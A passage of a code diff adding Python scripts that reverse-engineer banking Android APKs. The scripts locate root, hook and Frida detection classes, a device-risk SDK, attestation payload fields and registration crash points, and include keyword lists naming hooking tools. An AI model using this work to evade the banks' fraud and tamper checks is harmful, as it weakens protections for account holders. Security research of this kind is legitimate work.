for c in sorted(classes):
|
||||
print(c)
|
||||
|
||||
print("\n--- interesting strings ---")
|
||||
for pat in [b"isRoot", b"jailbroken", b"rooted", b"SafeMode", b"checkRoot", b"detect", b"xposed", b"frida", b"integrity"]:
|
||||
if pat in data:
|
||||
print(pat.decode(), "YES")
|
||||
9
reverse/scripts/list_sdkutils_jni.py
Normal file
9
reverse/scripts/list_sdkutils_jni.py
Normal file
@@ -0,0 +1,9 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
from pathlib import Path
|
||||
|
||||
so = Path(__file__).resolve().parent.parent / "extracted" / "native" / "libsdkutils.so"
|
||||
data = so.read_bytes()
|
||||
for name in sorted(set(m.group().decode() for m in re.finditer(rb"Java_com_shopee_bke_lib_jni_[A-Za-z0-9_]+", data))):
|
||||
if "utils" in name or "encrypt" in name.lower():
|
||||
print(name)
|
||||
18
reverse/scripts/list_sg_safemode.py
Normal file
18
reverse/scripts/list_sg_safemode.py
Normal file
@@ -0,0 +1,18 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
d = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
|
||||
classes = sorted(set(m.group().decode()[1:-1].replace("/", ".")
|
||||
for m in re.finditer(rb"Lcom/shopee/bke/lib/safemode/[^;]{1,80};", d)))
|
||||
print("safemode classes:", len(classes))
|
||||
for c in classes[:30]:
|
||||
print(c)
|
||||
|
||||
print("\nrisk classes:")
|
||||
for m in re.finditer(rb"Lcom/shopee/bke/biz/base/risk/[^;]{1,40};", d):
|
||||
print(m.group().decode()[1:-1].replace("/", "."))
|
||||
28
reverse/scripts/list_sg_safemode_obf.py
Normal file
28
reverse/scripts/list_sg_safemode_obf.py
Normal file
@@ -0,0 +1,28 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
d = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
|
||||
patterns = [
|
||||
rb"Lcom/shopee/bke/lib/safemode/[a-zA-Z$][\w$]{0,30};",
|
||||
rb"Lcom/shopee/bke/lib/safemode/[a-z]+/[a-zA-Z$][\w$]{0,40};",
|
||||
]
|
||||
seen = set()
|
||||
for pat in patterns:
|
||||
for m in re.finditer(pat, d):
|
||||
c = m.group().decode()[1:-1].replace("/", ".")
|
||||
if c.startswith("com.shopee.bke.lib.safemode.R"):
|
||||
continue
|
||||
if c not in seen:
|
||||
seen.add(c)
|
||||
print(c)
|
||||
|
||||
print("\n--- short obfuscated bke classes (root/adb) ---")
|
||||
for m in re.finditer(rb"Lcom/shopee/bke/[a-z]+/[a-z]{1,2};", d):
|
||||
c = m.group().decode()[1:-1].replace("/", ".")
|
||||
if "lib" in c or "safemode" in c or "risk" in c:
|
||||
print(c)
|
||||
21
reverse/scripts/list_sg_shps_classes.py
Normal file
21
reverse/scripts/list_sg_shps_classes.py
Normal file
@@ -0,0 +1,21 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
d = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
|
||||
for pat in [
|
||||
rb"Lcom/shopee/shpssdk/[\w$/]{3,100};",
|
||||
rb"Lcom/shopee/shpssdkbank/[\w$/]{3,100};",
|
||||
]:
|
||||
cs = sorted(set(m.group().decode()[1:-1].replace("/", ".") for m in re.finditer(pat, d)))
|
||||
print("\n", pat.decode(), len(cs))
|
||||
for c in cs:
|
||||
if "R" != c.split(".")[-1] or "$" in c:
|
||||
print(" ", c)
|
||||
|
||||
for needle in [b"RISK_USB", b"RISK_WIFI", b"RISK_ROOT", b"RISK_HOOK", b"requestDefense"]:
|
||||
print(needle.decode(), d.count(needle))
|
||||
20
reverse/scripts/list_shps_classes.py
Normal file
20
reverse/scripts/list_shps_classes.py
Normal file
@@ -0,0 +1,20 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import sys
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
if len(sys.argv) > 1:
|
||||
APK = Path(sys.argv[1])
|
||||
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
|
||||
for pkg in ("shpssdkbank", "shpssdk"):
|
||||
pat = re.compile(rf"Lcom/shopee/{pkg}/[\w$]+;".encode())
|
||||
classes = sorted(set(m.group().decode()[1:-1].replace("/", ".") for m in pat.finditer(data)))
|
||||
print(f"\n=== {pkg} ({len(classes)} classes) ===")
|
||||
short = [c for c in classes if len(c.split(".")[-1]) <= 12 and "shpssdk" in c]
|
||||
for c in short[:40]:
|
||||
print(" ", c)
|
||||
14
reverse/scripts/parse_reg_crash_log.py
Normal file
14
reverse/scripts/parse_reg_crash_log.py
Normal file
@@ -0,0 +1,14 @@
|
||||
import sys
|
||||
|
||||
path = sys.argv[1]
|
||||
lines = open(path, encoding="utf-8", errors="ignore").read().splitlines()
|
||||
keys = (
|
||||
"Runtime aborting", "Aborting", "stack corruption", "blocked __stack",
|
||||
"vhvlnqgy.u", "UserRegistration", "F libc", "has died",
|
||||
)
|
||||
for i, line in enumerate(lines):
|
||||
if any(k in line for k in keys):
|
||||
start = max(0, i - 2)
|
||||
end = min(len(lines), i + 6)
|
||||
print("---")
|
||||
print("\n".join(lines[start:end]))
|
||||
20
reverse/scripts/parse_ui_dump.py
Normal file
20
reverse/scripts/parse_ui_dump.py
Normal file
@@ -0,0 +1,20 @@
|
||||
import sys
|
||||
import xml.etree.ElementTree as ET
|
||||
|
||||
path = sys.argv[1] if len(sys.argv) > 1 else "reverse/dumps/ui_login.xml"
|
||||
root = ET.parse(path).getroot()
|
||||
keywords = [
|
||||
"register", "sign", "login", "mobile", "phone", "continue", "next",
|
||||
"create", "otp", "skip", "started", "email", "password", "pin",
|
||||
]
|
||||
for node in root.iter("node"):
|
||||
text = node.get("text", "")
|
||||
desc = node.get("content-desc", "")
|
||||
clickable = node.get("clickable", "")
|
||||
bounds = node.get("bounds", "")
|
||||
label = (text or desc).strip()
|
||||
if not label and clickable != "true":
|
||||
continue
|
||||
hay = (text + " " + desc).lower()
|
||||
if clickable == "true" or any(k in hay for k in keywords):
|
||||
print(f"{label!r} bounds={bounds} clickable={clickable}")
|
||||
13
reverse/scripts/parse_ui_dump_all.py
Normal file
13
reverse/scripts/parse_ui_dump_all.py
Normal file
@@ -0,0 +1,13 @@
|
||||
import sys
|
||||
import xml.etree.ElementTree as ET
|
||||
|
||||
path = sys.argv[1]
|
||||
root = ET.parse(path).getroot()
|
||||
for node in root.iter("node"):
|
||||
text = (node.get("text") or "").strip()
|
||||
desc = (node.get("content-desc") or "").strip()
|
||||
rid = node.get("resource-id") or ""
|
||||
bounds = node.get("bounds") or ""
|
||||
clickable = node.get("clickable") or "false"
|
||||
if text or desc or "login" in rid.lower() or "register" in rid.lower():
|
||||
print(f"text={text!r} desc={desc!r} id={rid} bounds={bounds} click={clickable}")
|
||||
156
reverse/scripts/parse_vuwuuwvw_log.py
Normal file
156
reverse/scripts/parse_vuwuuwvw_log.py
Normal file
@@ -0,0 +1,156 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Parse vuwuuwvw attestation JSON from logcat or raw JSON file."""
|
||||
import base64
|
||||
import hashlib
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
SUSPICIOUS = re.compile(
|
||||
rb"(root|hook|xposed|lsposed|magisk|frida|substrate|emulator|debug|adb|"
|
||||
rb"selinux|\bsu\b|/proc/|zygisk|riru|shamiko|tamper|integrity|"
|
||||
rb"jailbreak|virtual|mock|proxy|vpn|developer)",
|
||||
re.I,
|
||||
)
|
||||
|
||||
KNOWN_FIELDS = [
|
||||
"root", "hook", "xposed", "lsposed", "magisk", "frida", "adb", "debug",
|
||||
"debuggable", "emulator", "simulator", "vpn", "proxy", "mock",
|
||||
"selinux", "su", "supersu", "zygisk", "riru", "shamiko", "substrate",
|
||||
"integrity", "safetynet", "playIntegrity", "deviceId", "androidId",
|
||||
"serial", "fingerprint", "model", "brand", "manufacturer", "board",
|
||||
"host", "tags", "type", "user", "display", "product", "hardware",
|
||||
"usb", "wifi", "adb_enabled", "development_settings_enabled",
|
||||
"RISK_ROOT", "RISK_HOOK", "RISK_USB_ADB", "RISK_WIFI_ADB", "RISK_ADB",
|
||||
"RISK_EMULATOR", "RISK_DEBUG", "RISK_VPN", "RISK_PROXY", "RISK_MOCK",
|
||||
"rdVerifyInfo", "deviceFingerprint", "data", "dataKey", "riskToken",
|
||||
"isRoot", "isHook", "isDebug", "isAdb", "isEmulator", "isVirtual",
|
||||
"tamper", "jailbreak", "bootloader", "verifiedbootstate", "vbmeta",
|
||||
"init.svc.adbd", "/proc/self/maps", "RealInterceptorChain",
|
||||
]
|
||||
|
||||
# keys seen in 16:29-16:30 Pixel6 logs (from vuwuuwvw head=...)
|
||||
SAMPLE_KEYS = """
|
||||
2535994b 3923d741 68e69650 37132b99 1c5681ce 324f4370 4ea521fa
|
||||
2236b022 5a5532da 1309e885 1bb219c0 3ade7f65 3ade7f66 1c560a56 1c560a55
|
||||
3d33c1b1 1854d9b1 21e5cca2 23a20fae 36f30e66 29e2320e 2652ab1c 122c5826
|
||||
269b494b 22b1f08d 169b85f 1610b055 2baf3770 5bc1a01a 37132b99
|
||||
""".split()
|
||||
|
||||
|
||||
def md5_key(name: str) -> str:
|
||||
return hashlib.md5(name.encode()).hexdigest()[:8]
|
||||
|
||||
|
||||
def guess_keys(keys):
|
||||
table = {md5_key(n): n for n in KNOWN_FIELDS}
|
||||
out = []
|
||||
for k in keys:
|
||||
if k.lower() in table:
|
||||
out.append((k, table[k.lower()]))
|
||||
return out
|
||||
|
||||
|
||||
def scan_value(path, val, hits):
|
||||
if isinstance(val, str):
|
||||
b = val.encode("utf-8", "replace")
|
||||
m = SUSPICIOUS.search(b)
|
||||
if m:
|
||||
hits.append(f"{path} str hit={m.group().decode()} val={val[:120]}")
|
||||
if re.fullmatch(r"[A-Za-z0-9+/=]+", val) and 8 <= len(val) <= 512:
|
||||
try:
|
||||
raw = base64.b64decode(val + "==="[: (4 - len(val) % 4) % 4])
|
||||
if sum(32 <= c < 127 for c in raw) * 100 // max(len(raw), 1) >= 85:
|
||||
inner = raw.decode("utf-8", "replace")
|
||||
m2 = SUSPICIOUS.search(inner.encode())
|
||||
if m2:
|
||||
hits.append(f"{path} b64utf8 hit={m2.group().decode()} val={inner[:120]}")
|
||||
else:
|
||||
hx = raw[:32].hex()
|
||||
hits.append(f"{path} b64 bin len={len(raw)} hex={hx}")
|
||||
except Exception:
|
||||
pass
|
||||
elif isinstance(val, (int, float, bool)):
|
||||
if val in (1, True):
|
||||
hits.append(f"{path} ={val} (flag?)")
|
||||
|
||||
|
||||
def parse_json(text, label=""):
|
||||
obj = json.loads(text)
|
||||
keys = sorted(obj.keys())
|
||||
print(f"\n=== {label} keys={len(keys)} ===")
|
||||
print("first keys:", keys[:12])
|
||||
hits = []
|
||||
for k in keys:
|
||||
scan_value(k, obj[k], hits)
|
||||
if hits:
|
||||
print("SUSPICIOUS:")
|
||||
for h in hits[:30]:
|
||||
print(" ", h)
|
||||
else:
|
||||
print("no plain suspicious strings")
|
||||
matched = guess_keys(keys)
|
||||
if matched:
|
||||
print("MD5 key guesses:")
|
||||
for k, n in matched:
|
||||
print(f" {k} => {n}")
|
||||
return obj
|
||||
|
||||
|
||||
def extract_from_log(path):
|
||||
text = Path(path).read_text(encoding="utf-8", errors="replace")
|
||||
# MariBankCapture chunked: [vuwuuwvw.out REGISTER] 1/N ...
|
||||
chunks = {}
|
||||
current = None
|
||||
for line in text.splitlines():
|
||||
if "vuwuuwvw.out REGISTER" in line or "vuwuuwvw.out]" in line:
|
||||
m = re.search(r"\] (\d+)/(\d+) (.+)$", line)
|
||||
if m:
|
||||
idx, total, part = int(m.group(1)), int(m.group(2)), m.group(3)
|
||||
key = (total, line.split("REGISTER")[0])
|
||||
chunks.setdefault(key, {})[idx] = part
|
||||
elif " len=" in line and " parts=" not in line:
|
||||
m2 = re.search(r"\] len=\d+ (.+)$", line)
|
||||
if m2:
|
||||
current = m2.group(1)
|
||||
elif "vuwuuwvw.out REGISTER] len=" in line and " parts=" not in line:
|
||||
m2 = re.search(r"len=\d+ (.+)$", line)
|
||||
if m2:
|
||||
current = m2.group(1)
|
||||
if current and current.startswith("{"):
|
||||
return [current]
|
||||
out = []
|
||||
for parts in chunks.values():
|
||||
if parts:
|
||||
joined = "".join(parts[i] for i in sorted(parts))
|
||||
if joined.startswith("{"):
|
||||
out.append(joined)
|
||||
# fallback: head= lines won't work for full JSON
|
||||
return out
|
||||
|
||||
|
||||
def main():
|
||||
print("=== MD5 key table (known fields -> 8 hex) ===")
|
||||
for name in KNOWN_FIELDS[:20]:
|
||||
print(f" {md5_key(name):8s} {name}")
|
||||
print(" ...")
|
||||
print("\n=== sample keys from device logs ===")
|
||||
matched = guess_keys(SAMPLE_KEYS)
|
||||
if matched:
|
||||
for k, n in matched:
|
||||
print(f" {k} => {n}")
|
||||
else:
|
||||
print(" (no MD5 match — keys may use different hash algo)")
|
||||
|
||||
if len(sys.argv) > 1:
|
||||
p = Path(sys.argv[1])
|
||||
if p.suffix == ".json":
|
||||
parse_json(p.read_text(encoding="utf-8"), p.name)
|
||||
else:
|
||||
for i, blob in enumerate(extract_from_log(p)):
|
||||
parse_json(blob, f"log#{i+1}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
10
reverse/scripts/read_alc.py
Normal file
10
reverse/scripts/read_alc.py
Normal file
@@ -0,0 +1,10 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\seabank_ph_base.apk"
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
for name in zf.namelist():
|
||||
if "alc" in name.lower() and name.endswith(".json"):
|
||||
print("===", name, "===")
|
||||
print(zf.read(name).decode("utf-8", "ignore")[:2000])
|
||||
print()
|
||||
11
reverse/scripts/scan_1201.py
Normal file
11
reverse/scripts/scan_1201.py
Normal file
@@ -0,0 +1,11 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\seabank_ph_base.apk"
|
||||
needles = [b"-1201", b"1201", b"ErrorCode", b"error has occurred"]
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
for n in needles:
|
||||
idx = data.find(n)
|
||||
if idx >= 0:
|
||||
print(n.decode(), "at", idx, "context:", data[max(0,idx-40):idx+60])
|
||||
20
reverse/scripts/scan_4067_ctx.py
Normal file
20
reverse/scripts/scan_4067_ctx.py
Normal file
@@ -0,0 +1,20 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
needle = b"4067"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
idx = 0
|
||||
while True:
|
||||
idx = data.find(needle, idx)
|
||||
if idx < 0:
|
||||
break
|
||||
ctx = data[max(0, idx - 80): idx + 120]
|
||||
import re
|
||||
strings = [m.group().decode("latin1") for m in re.finditer(rb"[\x20-\x7e]{3,80}", ctx)]
|
||||
print("--- at", idx, "---")
|
||||
for s in strings:
|
||||
print(" ", s)
|
||||
idx += 1
|
||||
24
reverse/scripts/scan_common_dialog.py
Normal file
24
reverse/scripts/scan_common_dialog.py
Normal file
@@ -0,0 +1,24 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\seabank_ph_base.apk"
|
||||
targets = [
|
||||
b"Lcom/shopee/bke/lib/commonui/widget/CommonDialog;",
|
||||
b"Lcom/shopee/bke/lib/commonui/widget/CommonDialog$Builder;",
|
||||
]
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
for t in targets:
|
||||
print("===", t.decode()[1:-1].replace("/", "."), "===")
|
||||
idx = 0
|
||||
c = 0
|
||||
while c < 5:
|
||||
idx = data.find(t, idx)
|
||||
if idx < 0:
|
||||
break
|
||||
ctx = data[max(0, idx - 100): idx + 300]
|
||||
for m in re.finditer(rb"(show|build|create|setMessage|setContent|display)[a-zA-Z0-9_$<>]*", ctx):
|
||||
print(" ", m.group().decode())
|
||||
idx += 1
|
||||
c += 1
|
||||
40
reverse/scripts/scan_crypto_flow.py
Normal file
40
reverse/scripts/scan_crypto_flow.py
Normal file
@@ -0,0 +1,40 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
for needle in [b"sdkutils", b"SoUtils", b"CharacterCrypto", b"vvuwuuvuu", b"vuwuuwvw", b"wwvwvwuvv", b"dfp is empty"]:
|
||||
print(needle.decode(), data.count(needle))
|
||||
|
||||
print("\n--- classes referencing sdkutils ---")
|
||||
for m in re.finditer(rb"Lcom/[^;]{0,120};", data):
|
||||
s = m.group()
|
||||
if b"sdkutils" in s.lower() or b"SoUtils" in s or b"Crypto" in s:
|
||||
print(s.decode()[1:-1].replace("/", "."))
|
||||
|
||||
# dump vvuuuuvvv.wwvuwuwvu (getRiskToken core)
|
||||
target = "Lcom/shopee/shpssdkbank/uwuvuvvww/vvuuuuvvv;"
|
||||
for dex_name in zf.namelist():
|
||||
if not dex_name.endswith(".dex"):
|
||||
continue
|
||||
dex = zf.read(dex_name)
|
||||
if target.encode() not in dex:
|
||||
continue
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp_vv.dex"
|
||||
tmp.write_bytes(dex)
|
||||
out = subprocess.check_output([str(DEXDUMP), "-d", str(tmp)], text=True, errors="replace")
|
||||
print("\n===", dex_name, "vvuuuuvvv methods (native only) ===")
|
||||
cap = False
|
||||
for line in out.splitlines():
|
||||
if f"Class descriptor : '{target}'" in line:
|
||||
cap = True
|
||||
elif cap and line.startswith(" Class descriptor"):
|
||||
break
|
||||
if cap and ("NATIVE" in line or "name :" in line):
|
||||
print(line.encode("ascii", "replace").decode())
|
||||
57
reverse/scripts/scan_crypto_register.py
Normal file
57
reverse/scripts/scan_crypto_register.py
Normal file
@@ -0,0 +1,57 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
|
||||
needles = [
|
||||
b"CharacterCrypto",
|
||||
b"sdkutils",
|
||||
b"SoUtils",
|
||||
b"dfp is empty",
|
||||
b"register scene",
|
||||
b"deviceToken",
|
||||
b"getRiskToken",
|
||||
b"encrypt",
|
||||
b"decrypt",
|
||||
b"/uapi/v2/register",
|
||||
]
|
||||
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
for n in needles:
|
||||
print(n.decode(), data.count(n))
|
||||
|
||||
print("\n--- CharacterCrypto classes ---")
|
||||
for m in re.finditer(rb"L[^;]{0,100}CharacterCrypto[^;]{0,40};", data):
|
||||
print(m.group().decode()[1:-1].replace("/", "."))
|
||||
|
||||
print("\n--- SoUtils classes ---")
|
||||
for m in re.finditer(rb"L[^;]{0,80}SoUtils[^;]{0,20};", data):
|
||||
print(m.group().decode()[1:-1].replace("/", "."))
|
||||
|
||||
print("\n--- native methods in shpssdkbank ---")
|
||||
for dex_name in zf.namelist():
|
||||
if not dex_name.endswith(".dex"):
|
||||
continue
|
||||
dex = zf.read(dex_name)
|
||||
if b"shpssdkbank" not in dex:
|
||||
continue
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp_shps.dex"
|
||||
tmp.write_bytes(dex)
|
||||
out = subprocess.check_output(
|
||||
[str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace"
|
||||
)
|
||||
cap = False
|
||||
cls = ""
|
||||
for line in out.splitlines():
|
||||
if "Class descriptor : 'Lcom/shopee/shpssdkbank/" in line:
|
||||
cap = True
|
||||
cls = line.split("'")[1]
|
||||
elif cap and line.startswith(" Class descriptor") and "shpssdkbank" not in line:
|
||||
cap = False
|
||||
if cap and ("0x0101" in line or "NATIVE" in line):
|
||||
print(cls.replace("L", "").replace(";", "").replace("/", "."), line.strip())
|
||||
24
reverse/scripts/scan_detail.py
Normal file
24
reverse/scripts/scan_detail.py
Normal file
@@ -0,0 +1,24 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import os, re, sys
|
||||
|
||||
def scan_dir(base, pat):
|
||||
rx = re.compile(pat, re.I)
|
||||
all_m = set()
|
||||
for dex in sorted(os.listdir(base)):
|
||||
if not dex.endswith('.dex'):
|
||||
continue
|
||||
data = open(os.path.join(base, dex), 'rb').read()
|
||||
strs = set(m.group().decode('ascii', 'ignore') for m in re.finditer(rb'[\x20-\x7e]{5,}', data))
|
||||
all_m |= {s for s in strs if rx.search(s)}
|
||||
return sorted(all_m)
|
||||
|
||||
apps = {
|
||||
'up': (r'(HandlerService|NotificationHandler|showNotification|RemoteMessage|Util\$NotificationType|processPush|handleMessage|up/money/notifications)'),
|
||||
'suncorp': (r'SuncorpMessagingService|onMessageReceived|showNotification|NotificationDetails|pushNotification|FirebaseService'),
|
||||
'ubank': (r'MoEFireBase|MessagingService|onMessageReceived|showNotification|Will try to show|bank86400|MoEngage'),
|
||||
}
|
||||
root = sys.argv[1]
|
||||
for app, pat in apps.items():
|
||||
print('\n====', app, '====')
|
||||
for s in scan_dir(os.path.join(root, app), pat)[:60]:
|
||||
print(s)
|
||||
91
reverse/scripts/scan_dex.py
Normal file
91
reverse/scripts/scan_dex.py
Normal file
@@ -0,0 +1,91 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
|
||||
PATTERNS = [
|
||||
r'FirebaseMessagingService',
|
||||
r'onMessageReceived',
|
||||
r'NotificationManager',
|
||||
r'NotificationCompat',
|
||||
r'NotificationChannel',
|
||||
r'PushNotification',
|
||||
r'PushMessage',
|
||||
r'Transaction',
|
||||
r'transaction',
|
||||
r'InboxMessage',
|
||||
r'AlertMessage',
|
||||
r'showNotification',
|
||||
r'postNotification',
|
||||
r'NotificationReceiver',
|
||||
r'FCM',
|
||||
r'FirebaseMessaging',
|
||||
r'MessagingService',
|
||||
r'PaymentNotification',
|
||||
r'TransferNotification',
|
||||
r'BankNotification',
|
||||
]
|
||||
|
||||
CLASS_LIKE = re.compile(r'[A-Za-z][\w$/]{3,120}')
|
||||
|
||||
|
||||
def extract_strings(data, min_len=4):
|
||||
out = set()
|
||||
for m in re.finditer(rb'[\x20-\x7e]{' + str(min_len).encode() + rb',}', data):
|
||||
try:
|
||||
out.add(m.group().decode('ascii'))
|
||||
except Exception:
|
||||
pass
|
||||
return out
|
||||
|
||||
|
||||
def scan_file(path):
|
||||
with open(path, 'rb') as f:
|
||||
data = f.read()
|
||||
strings = extract_strings(data, 5)
|
||||
hits = {}
|
||||
for pat in PATTERNS:
|
||||
rx = re.compile(pat, re.I)
|
||||
matched = sorted({s for s in strings if rx.search(s)})
|
||||
if matched:
|
||||
hits[pat] = matched[:40]
|
||||
# interesting fully-qualified class names
|
||||
fqcn = sorted({
|
||||
s for s in strings
|
||||
if ('/' in s or s.startswith('L')) and any(k in s.lower() for k in (
|
||||
'notif', 'push', 'fcm', 'firebase', 'message', 'transaction', 'alert', 'inbox', 'payment', 'transfer'
|
||||
))
|
||||
})
|
||||
return hits, fqcn[:80]
|
||||
|
||||
|
||||
def main(root):
|
||||
for app in sorted(os.listdir(root)):
|
||||
app_dir = os.path.join(root, app)
|
||||
if not os.path.isdir(app_dir):
|
||||
continue
|
||||
print('\n' + '=' * 70)
|
||||
print('APP:', app)
|
||||
print('=' * 70)
|
||||
dex_files = [f for f in os.listdir(app_dir) if f.endswith('.dex')]
|
||||
all_hits = {}
|
||||
all_fqcn = set()
|
||||
for dex in sorted(dex_files):
|
||||
path = os.path.join(app_dir, dex)
|
||||
hits, fqcn = scan_file(path)
|
||||
for k, v in hits.items():
|
||||
all_hits.setdefault(k, set()).update(v)
|
||||
all_fqcn.update(fqcn)
|
||||
for pat in PATTERNS:
|
||||
if pat in all_hits:
|
||||
print('\n[%s]' % pat)
|
||||
for s in sorted(all_hits[pat])[:25]:
|
||||
print(' ', s)
|
||||
print('\n[interesting class-like strings]')
|
||||
for s in sorted(all_fqcn)[:60]:
|
||||
print(' ', s)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
root = sys.argv[1] if len(sys.argv) > 1 else 'extracted'
|
||||
main(root)
|
||||
28
reverse/scripts/scan_dfp_empty_ctx.py
Normal file
28
reverse/scripts/scan_dfp_empty_ctx.py
Normal file
@@ -0,0 +1,28 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
needle = b"dfp is empty"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
|
||||
idx = 0
|
||||
while True:
|
||||
idx = data.find(needle, idx)
|
||||
if idx < 0:
|
||||
break
|
||||
ctx = data[max(0, idx - 400) : idx + 400]
|
||||
classes = sorted(set(m.group().decode()[1:-1].replace("/", ".")
|
||||
for m in re.finditer(rb"Lcom/[^;\x00]{5,160};", ctx)))
|
||||
print("\n--- hit at", idx, "---")
|
||||
for c in classes:
|
||||
if any(k in c.lower() for k in ("user", "register", "dfp", "fingerprint", "viewmodel", "rn", "helper")):
|
||||
print(" ", c)
|
||||
# printable strings nearby
|
||||
for m in re.finditer(rb"[\x20-\x7e]{4,80}", ctx):
|
||||
s = m.group().decode()
|
||||
if any(k in s.lower() for k in ("dfp", "register", "empty", "error", "unavailable", "fingerprint")):
|
||||
print(" str:", s)
|
||||
idx += len(needle)
|
||||
11
reverse/scripts/scan_error_classes.py
Normal file
11
reverse/scripts/scan_error_classes.py
Normal file
@@ -0,0 +1,11 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\seabank_ph_base.apk"
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
for m in re.finditer(rb"Lcom/shopee/[a-zA-Z0-9_$/]*(error|Error|dialog|Dialog|Risk|risk|Otp|otp|Phone|Register)[a-zA-Z0-9_$/]*;", data):
|
||||
s = m.group().decode()[1:-1].replace("/", ".")
|
||||
if "bke" in s or "seabank" in s or "shpssdk" in s:
|
||||
print(s)
|
||||
28
reverse/scripts/scan_error_handler.py
Normal file
28
reverse/scripts/scan_error_handler.py
Normal file
@@ -0,0 +1,28 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import zipfile
|
||||
import struct
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\seabank_ph_base.apk"
|
||||
targets = [
|
||||
b"Lcom/shopee/bke/biz/user/errorcodehandler/a;",
|
||||
b"Lcom/shopee/bke/biz/user/errorcodehandler/b;",
|
||||
b"Lcom/shopee/shpssdkbank/SPSAssessRisk;",
|
||||
b"Lcom/shopee/bke/biz/user/rn/helper/ErrorFlowHelper;",
|
||||
]
|
||||
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
for t in targets:
|
||||
print("===", t.decode()[1:-1].replace("/", "."), "===")
|
||||
idx = 0
|
||||
while True:
|
||||
idx = data.find(t, idx)
|
||||
if idx < 0:
|
||||
break
|
||||
ctx = data[max(0, idx - 200): idx + 400]
|
||||
# crude string extraction nearby
|
||||
for m in __import__("re").finditer(rb"[\x20-\x7e]{4,80}", ctx):
|
||||
s = m.group().decode()
|
||||
